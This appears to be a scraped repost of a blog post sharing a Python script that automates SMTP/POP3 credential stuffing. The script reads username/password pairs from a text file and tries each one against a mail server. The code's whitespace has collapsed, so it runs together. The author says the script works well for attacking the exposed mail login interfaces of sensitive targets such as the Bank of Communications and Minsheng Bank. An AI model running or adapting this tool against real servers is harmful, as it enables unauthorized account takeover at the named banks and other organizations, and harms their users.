Support Smtp/imap smtp/pop3 python crash library script

Source: Internet
Author: User
Tags imap

#coding=gb2312#Make sure Python supports Chinese annotations#Enter email address, password and POP3 server address:ImportPoplibImportSmtplibImportSYSdefChecksmtppassword (Smtp_server,username,password):Try: Server= Smtplib. SMTP (Smtp_server, 25)#SMTP protocol default port is 25 the domain name cannot be resolved here, and an exception login failure is thrown        #Server.set_debuglevel (2)server.login (username, password)except:        Print 'Login not successful'    Else:        Print 'Login Successful'defCheckpop3password (Pop3_server,username,password):Try: Server=Poplib. POP3 (Pop3_server)#Server.set_debuglevel (2)Server.user (username) server.pass_ (password)exceptexception,e:Print 'Login not successful'    Else:        Print 'Login Successful'server.quit ()defOpen_check_password_user (file_path,server_ip,user_num,pass_num,mode): Mail_server=server_ip F=Open (file_path) each_line=F.readline () whileEach_line:each_line=each_line.strip ('\ n')#Remove line breakList = Each_line.split ()#list here is the array        #Print List[0]password=list[Int (pass_num)] Username=list[Int (user_num)]Printlist[Int (user_num)]Printlist[Int (pass_num)]ifmode=='POP3': Checkpop3password (Mail_server,username,password)ifmode=='SMTP': Checksmtppassword (mail_server,username,password) each_line=F.readline ()if __name__=='__main__':        Print 'mail_check.py nefu.txt pop.nefu.edu.cn user_num pass_num mode'        Print 'mail_check.py nefu.txt pop.nefu.edu.cn 2 1 pop3/smtp'Open_check_password_user (sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4],sys.argv[5])         

The company's business needs, this period of time to do things the web is mostly.

The above script, with a TXT can be fully automatic to the Bank of communications, such as Minsheng Bank, such as exposure to external mailbox login interface and other sensitive industry manufacturers to test the crash.

It took me half a day to write. The effect is good, post it to share, and then improve

Support Smtp/imap smtp/pop3 python crash library script

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.